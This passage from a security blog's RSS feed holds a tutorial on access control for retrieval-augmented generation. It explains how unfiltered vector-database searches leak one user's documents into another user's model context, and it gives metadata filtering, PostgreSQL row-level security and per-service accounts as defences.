<li>The RACI view matters: different categories own differently across Developer, DevSecOps, ML Engineer, Red Team, and Compliance — no single role covers all 10</li>
<li>This is the reference map; every deep-dive episode in this series maps back to one or more rows in the Quick Reference table above</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Parts II and III cover each category in depth with Red/Detect/Defend structure. Starting with the category that&#8217;s been #1 since the first version — and the one where the classic defense cannot be applied.</p>
<p><a href="/prompt-injection-attack-llm/">Prompt Injection Attacks: How LLM01 Becomes Full System Compromise →</a></p>
<p>Get EP05 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe/">subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-2025%2F&amp;linkname=OWASP%20LLM%20Top%2010%202025%3A%20The%20Complete%20Map%20for%20DevSecOps" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-2025%2F&amp;linkname=OWASP%20LLM%20Top%2010%202025%3A%20The%20Complete%20Map%20for%20DevSecOps" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-2025%2F&amp;linkname=OWASP%20LLM%20Top%2010%202025%3A%20The%20Complete%20Map%20for%20DevSecOps" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-2025%2F&amp;linkname=OWASP%20LLM%20Top%2010%202025%3A%20The%20Complete%20Map%20for%20DevSecOps" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-2025%2F&amp;linkname=OWASP%20LLM%20Top%2010%202025%3A%20The%20Complete%20Map%20for%20DevSecOps" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-2025%2F&amp;linkname=OWASP%20LLM%20Top%2010%202025%3A%20The%20Complete%20Map%20for%20DevSecOps" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-2025%2F&amp;linkname=OWASP%20LLM%20Top%2010%202025%3A%20The%20Complete%20Map%20for%20DevSecOps" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-2025%2F&#038;title=OWASP%20LLM%20Top%2010%202025%3A%20The%20Complete%20Map%20for%20DevSecOps" data-a2a-url="https://linuxcent.com/owasp-llm-top-10-2025/" data-a2a-title="OWASP LLM Top 10 2025: The Complete Map for DevSecOps"></a></p><p>The post <a href="https://linuxcent.com/owasp-llm-top-10-2025/">OWASP LLM Top 10 2025: The Complete Map for DevSecOps</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/owasp-llm-top-10-2025/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2219</post-id>	</item>
		<item>
		<title>RAG Access Control: The IAM Layer Your Vector Database Doesn&#8217;t Have</title>
		<link>https://linuxcent.com/rag-access-control-vector-database-iam/</link>
					<comments>https://linuxcent.com/rag-access-control-vector-database-iam/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 11 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[AI Security]]></category>
		<category><![CDATA[Access Control]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[LLM08]]></category>
		<category><![CDATA[OWASP LLM Top 10]]></category>
		<category><![CDATA[RAG Security]]></category>
		<category><![CDATA[Vector Database]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1908</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>RAG access control: most vector databases ship with no document-level permissions. Here is how User A's data ends up in User B's context — and the IAM layer that fixes it.</p>
<p>The post <a href="https://linuxcent.com/rag-access-control-vector-database-iam/">RAG Access Control: The IAM Layer Your Vector Database Doesn&#8217;t Have</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/non-human-identity-ai-agents/">The Non-Human Identity Problem Is Back</a> → <strong>RAG Access Control</strong> → <a href="/oidc-workload-identity-llm-pipeline/">OIDC and Workload Identity for LLM Pipelines</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Most vector databases have no document-level access control by default — if a document was indexed, any query can retrieve it</li>
<li>In a multi-user RAG application, this means User A&#8217;s confidential documents can end up in User B&#8217;s context window without any API call, auth token, or permission check failing</li>
<li><strong>RAG access control</strong> requires enforcement at three separate layers: at ingestion (what gets indexed), at retrieval (what the query can return), and at the application layer (what the model receives)</li>
<li>The technical solutions exist — namespace isolation, metadata filtering, Row Level Security on pgvector, Weaviate RBAC — but they require deliberate implementation; they are not defaults</li>
<li>The IAM principle is the same one that solved the S3 bucket problem: you must assume all data in the store is sensitive, and access must be granted explicitly, not assumed by adjacency</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> OWASP LLM08 — Vector and Embedding Weaknesses. This episode covers the access control gap that makes vector databases the most commonly misconfigured IAM boundary in LLM deployments.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">RAG PIPELINE: WHERE ACCESS CONTROL BREAKS DOWN

User A                     User B
  │                           │
  ▼                           ▼
[Query: &quot;summarize           [Query: &quot;what are our
 my performance review&quot;]      Q4 revenue projections?&quot;]
         │                           │
         └──────────┬────────────────┘
                    ▼
            ┌──────────────┐
            │  LLM / RAG   │
            │  Application │
            └──────┬───────┘
                   │
                   ▼ similarity search
            ┌──────────────────────────────┐
            │     Vector Database          │
            │  ┌─────────────────────────┐ │
            │  │ performance_review_a    │ │ ← User A&#039;s private doc
            │  │ q4_revenue_projections  │ │ ← Finance-only doc
            │  │ engineering_runbook     │ │ ← Internal ops doc
            │  │ hr_salary_bands         │ │ ← HR-only doc
            │  │ customer_contracts      │ │ ← Legal-only doc
            │  └─────────────────────────┘ │
            │  ← ONE collection, no ACLs   │
            └──────────────────────────────┘

Without access control, User B&#039;s query about &quot;projections&quot;
can semantically retrieve User A&#039;s performance review,
the salary band document, and customer contracts
— all in a single unauthenticated vector similarity search.
</code></pre>
<p><strong>RAG access control</strong> is the IAM problem that most vector database deployments skip entirely. The retrieval layer is effectively a permission-free zone: if a document is indexed, it is queryable. The permissions model that governs who uploaded the document has no connection to the permissions model that governs who can retrieve it.</p>
<hr />
<h2 id="why-this-happens">Why This Happens</h2>
<p>The fastest path to a working RAG system is also the path with no access control:</p>
<ol>
<li>Index all your documents into one vector store collection</li>
<li>At query time, run a similarity search</li>
<li>Pass the top-N results to the model as context</li>
</ol>
<p>This works. It produces a demo that impresses stakeholders. And it has no concept of &#8220;is the user who submitted this query authorized to read these retrieved documents?&#8221;</p>
<p>The problem is structural: vector similarity search is a mathematical operation on embeddings. It finds nearest neighbors in a high-dimensional space. It does not have a concept of authorization. The database returns the most semantically similar documents to the query — full stop. It does not know or care who is asking or what they are allowed to see.</p>
<p>This is the same failure class as public S3 buckets. The storage system itself is not wrong — it returned what it was asked for. The mistake is not building the access control layer that determines what can be asked.</p>
<p>The consequence in RAG is worse than in S3 in one specific way: the exposure is invisible. When someone accesses a public S3 bucket, there&#8217;s an explicit HTTP request and a 200 response in the access logs. In RAG, the unauthorized document surfaces inside a model response. There&#8217;s no explicit &#8220;unauthorized document retrieved&#8221; event. The application sent a query; the database returned results; the model included them in its answer. Everything &#8220;worked.&#8221;</p>
<hr />
<h2 id="how-user-as-data-ends-up-in-user-bs-context">How User A&#8217;s Data Ends Up in User B&#8217;s Context</h2>
<p>Three realistic scenarios:</p>
<p><strong>Scenario 1: Semantic proximity</strong></p>
<p>User A uploads a performance review: &#8220;Alice achieved 94% of her targets in Q3, and her compensation adjustment is scheduled for December.&#8221;</p>
<p>User B asks about Q3 performance metrics for the engineering team.</p>
<p>The similarity search returns User A&#8217;s document as a top-N result because it contains &#8220;Q3,&#8221; &#8220;performance,&#8221; and numerical metrics. The model includes it in the context and may summarize or reference it in its answer.</p>
<p>No authentication was bypassed. No API was misused. A semantically similar document was retrieved by a semantically similar query.</p>
<p><strong>Scenario 2: Shared namespace, different sensitivity levels</strong></p>
<p>A knowledge base contains both public documentation (product manuals, FAQ articles) and internal documents (salary bands, acquisition targets, unreleased roadmap). They&#8217;re all indexed together because the indexing pipeline processes all documents from a shared document store.</p>
<p>A user with access to the public KB submits queries that — through careful phrasing — retrieve internal documents via semantic overlap. They never access the internal document store directly. They access it through the model&#8217;s context window.</p>
<p><strong>Scenario 3: Cross-tenant retrieval</strong></p>
<p>A SaaS application uses a shared vector database for all customers. Customer A uploads their proprietary process documentation. Customer B&#8217;s query, framed in similar terminology, retrieves Customer A&#8217;s documents.</p>
<p>This is a data breach. It does not involve any failed authentication — it involves missing authorization at the retrieval layer.</p>
<hr />
<h2 id="the-three-enforcement-points">The Three Enforcement Points</h2>
<p>Fixing RAG access control requires thinking about authorization at three distinct layers, not one.</p>
<h3 id="layer-1-ingestion-what-gets-indexed">Layer 1: Ingestion — What Gets Indexed</h3>
<p>Every document that enters the vector store should be tagged with the identity of its owner and the scope of who is authorized to retrieve it. This metadata travels with the document through the pipeline.</p>
<pre><code class="" data-line="">vector_store.upsert(
    id=&quot;doc_performance_review_alice_2024&quot;,
    vector=embedding,
    metadata={
        &quot;owner_user_id&quot;: &quot;user_alice&quot;,
        &quot;authorized_roles&quot;: [&quot;hr_manager&quot;, &quot;alice&quot;],
        &quot;sensitivity&quot;: &quot;restricted&quot;,
        &quot;department&quot;: &quot;engineering&quot;,
    }
)
</code></pre>
<p>If the document has no access control metadata, treat it as the most sensitive class, not the least. Default-deny.</p>
<p>This requires the indexing pipeline to have access to the permission model. The pipeline needs to know, at index time, who can retrieve this document. That means the indexing service must be integrated with your IAM system — not just your document store.</p>
<h3 id="layer-2-retrieval-what-the-query-can-return">Layer 2: Retrieval — What the Query Can Return</h3>
<p>Every similarity search should be filtered by the requesting user&#8217;s authorization context. Most vector databases support metadata filtering at query time.</p>
<pre><code class="" data-line=""># Retrieve only documents the requesting user is authorized to see
results = vector_store.query(
    vector=query_embedding,
    filter={
        &quot;$or&quot;: [
            {&quot;owner_user_id&quot;: {&quot;$eq&quot;: current_user_id}},
            {&quot;authorized_roles&quot;: {&quot;$in&quot;: current_user_roles}},
        ]
    },
    top_k=5
)
</code></pre>
<p>This is the equivalent of parameterized queries in SQL — you are not filtering after the fact, you are scoping the search space before retrieval. Only documents the user is authorized to see are candidates for the similarity search.</p>
<p><strong>What each vector store supports:</strong></p>
<table>
<thead>
<tr>
<th>Database</th>
<th>Access Control Mechanism</th>
<th>Granularity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Pinecone</td>
<td>Namespaces (partition isolation)</td>
<td>Namespace-level</td>
</tr>
<tr>
<td>Weaviate</td>
<td>RBAC (per-class and per-object)</td>
<td>Object-level</td>
</tr>
<tr>
<td>pgvector</td>
<td>PostgreSQL Row Level Security (RLS)</td>
<td>Row-level</td>
</tr>
<tr>
<td>Qdrant</td>
<td>Payload filters at query time</td>
<td>Per-document metadata</td>
</tr>
<tr>
<td>Chroma</td>
<td>Collections with custom metadata filters</td>
<td>Collection + filter</td>
</tr>
<tr>
<td>Milvus</td>
<td>Partition keys + role-based access</td>
<td>Partition-level</td>
</tr>
</tbody>
</table>
<p>pgvector via PostgreSQL RLS is the strongest option — authorization is enforced at the database engine level, not in application code. The query cannot return rows the RLS policy does not permit, regardless of how the application constructs the query.</p>
<pre><code class="" data-line="">-- PostgreSQL RLS policy for vector store table
ALTER TABLE document_embeddings ENABLE ROW LEVEL SECURITY;

CREATE POLICY user_isolation ON document_embeddings
    USING (
        owner_user_id = current_setting(&#039;app.current_user_id&#039;)
        OR current_setting(&#039;app.current_user_id&#039;) = ANY(authorized_user_ids)
    );
</code></pre>
<p>With this policy, even if the application layer is compromised or misconfigured, the database will not return unauthorized rows.</p>
<h3 id="layer-3-application-what-the-model-receives">Layer 3: Application — What the Model Receives</h3>
<p>Even with ingestion-time tagging and retrieval-time filtering, there is a third layer: validating retrieved documents before they are passed to the model.</p>
<p>This is the paranoid layer. It assumes retrieval filtering may have gaps (a new document type that wasn&#8217;t tagged, a filter logic bug, a configuration drift). Before the retrieved chunks enter the model&#8217;s context window, verify their authorization against your canonical permission system.</p>
<pre><code class="" data-line=""># Post-retrieval authorization check
authorized_chunks = [
    chunk for chunk in retrieved_chunks
    if permissions.is_authorized(
        user_id=current_user_id,
        resource_id=chunk.metadata[&quot;document_id&quot;],
        action=&quot;read&quot;
    )
]
# Only pass authorized_chunks to the model
</code></pre>
<p>This is defense-in-depth for the retrieval layer. Each layer can catch failures in the layer before it.</p>
<hr />
<h2 id="the-service-account-problem-in-rag-pipelines">The Service Account Problem in RAG Pipelines</h2>
<p>Beyond user-level access control, RAG pipelines have a service account problem.</p>
<p>A typical RAG pipeline has three services: an embedding service (converts documents to vectors), a retrieval service (queries the vector store), and a generation service (calls the LLM with the retrieved context). In most deployments, all three run under the same service account with broad access to the vector store.</p>
<p>This creates a privilege escalation path: if an attacker can compromise the generation service (via prompt injection, for example), they can pivot to the retrieval service&#8217;s permissions because they&#8217;re the same identity. The generation service doesn&#8217;t need write access to the vector store — but if it runs under the same account as the embedding service, it has it.</p>
<p>Correct architecture:</p>
<pre><code class="" data-line="">Embedding Service   ── service-account: embed-sa
  └─ Permissions: vector_store:write (ingestion only)

Retrieval Service   ── service-account: retrieve-sa
  └─ Permissions: vector_store:read (query only, filtered by user context)

Generation Service  ── service-account: generate-sa
  └─ Permissions: llm_api:invoke (no direct vector store access)
  └─ Receives retrieved chunks via the retrieval service, not directly
</code></pre>
<p>Three services, three service accounts, three scoped permission sets. The generation service never touches the vector store directly — it receives pre-filtered, pre-authorized chunks from the retrieval service. A compromised generation service cannot exfiltrate the full vector store.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>&#8220;We&#8217;ll add access control after we get the retrieval quality right&#8221;</strong><br />
Retrieval quality work (tuning chunk size, embedding models, similarity thresholds) generates many query examples. Those examples often span the full document corpus with no filtering. By the time you want to add access control, you have a pipeline that has never been tested with filters active, and adding filters now changes the retrieval behavior in ways that may break your quality benchmarks. Build access control into the pipeline before tuning retrieval quality — not after.</p>
<p><strong>Namespace isolation without metadata means you still have a shared infrastructure problem</strong><br />
Pinecone namespaces are storage partitions — separate query spaces, not separate security boundaries at the infrastructure level. The Pinecone index itself is still a single IAM-controlled resource. If your application logic routes the wrong user query to the wrong namespace, the filtering doesn&#8217;t fire. Namespace isolation reduces risk; it does not eliminate the need for query-time authorization checks.</p>
<p><strong>Embedding model updates break access control metadata if you&#8217;re not careful</strong><br />
When you re-embed your corpus with a new model, you typically truncate and re-index. If the access control metadata is only in the vector store (not also in your document store), re-indexing will drop it. Treat access control metadata as a property of the document, not of the embedding — store it in your document store and re-attach it during any re-indexing operation.</p>
<p><strong>The retrieval service is the database for access control purposes</strong><br />
Teams that run careful security reviews on their application database often don&#8217;t apply the same review to their vector store. If the vector store contains documents from multiple users or sensitivity levels, it should receive the same security review as your primary database — network isolation, access logging, credential rotation, encryption at rest.</p>
<hr />
<h2 id="quick-reference-rag-access-control-decision-matrix">Quick Reference: RAG Access Control Decision Matrix</h2>
<table>
<thead>
<tr>
<th>Your Architecture</th>
<th>Minimum Required Controls</th>
</tr>
</thead>
<tbody>
<tr>
<td>Single-tenant app</td>
<td>Index-level access control (one index per app), service account isolation per pipeline stage</td>
</tr>
<tr>
<td>Multi-user app, shared corpus</td>
<td>Metadata filtering at query time + post-retrieval authorization check</td>
</tr>
<tr>
<td>Multi-tenant SaaS</td>
<td>Namespace/collection isolation per tenant + metadata filtering within namespace</td>
</tr>
<tr>
<td>Regulated data (PII, financial)</td>
<td>PostgreSQL RLS or equivalent engine-level enforcement + full audit logging</td>
</tr>
<tr>
<td>Agent with autonomous retrieval</td>
<td>All of the above + limit the agent&#8217;s retrieval service account to read-only, specific namespaces</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>Connection</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP LLM08</td>
<td>Vector and Embedding Weaknesses</td>
<td>This episode is the access control dimension of LLM08</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Principle: access to data must be authorized, not assumed</td>
</tr>
<tr>
<td>NIST AI RMF</td>
<td>MAP 2.1</td>
<td>Scientific basis for how AI capabilities interact with existing access control requirements</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1 Logical access controls</td>
<td>Evidence: vector store access control policies and query-time filtering</td>
</tr>
<tr>
<td>GDPR / Privacy</td>
<td>Art. 25 (Data protection by design)</td>
<td>Access control at retrieval is a technical privacy safeguard by default</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Vector databases have no document-level access control by default — authorization must be built explicitly at ingestion, retrieval, and the application layer</li>
<li>The exposure is semantic, not structural: unauthorized documents are returned as semantically similar results, with no failed authentication to detect</li>
<li>Three enforcement points: tag documents at ingestion, filter at retrieval, verify at the application layer before context reaches the model</li>
<li>Separate service accounts for embedding, retrieval, and generation services — the generation service should never have direct vector store access</li>
<li>pgvector with PostgreSQL RLS is the strongest technical control — authorization enforced at the database engine, not in application code</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>The retrieval layer is one part of the pipeline. The full LLM pipeline — embedding service, retrieval service, generation service, tool execution layer — has an identity problem at every stage. In EP03, we build out the complete OIDC and workload identity architecture for an LLM pipeline, so each service has its own bounded identity with short-lived tokens instead of static credentials.</p>
<p><a href="/oidc-workload-identity-llm-pipeline/">OIDC and Workload Identity for LLM Pipelines →</a></p>
<p>Get EP03 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe/">subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&amp;linkname=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Frag-access-control-vector-database-iam%2F&#038;title=RAG%20Access%20Control%3A%20The%20IAM%20Layer%20Your%20Vector%20Database%20Doesn%E2%80%99t%20Have" data-a2a-url="https://linuxcent.com/rag-access-control-vector-database-iam/" data-a2a-title="RAG Access Control: The IAM Layer Your Vector Database Doesn’t Have"></a></p><p>The post <a href="https://linuxcent.com/rag-access-control-vector-database-iam/">RAG Access Control: The IAM Layer Your Vector Database Doesn&#8217;t Have</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/rag-access-control-vector-database-iam/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1908</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-22 01:41:42 by W3 Total Cache
-->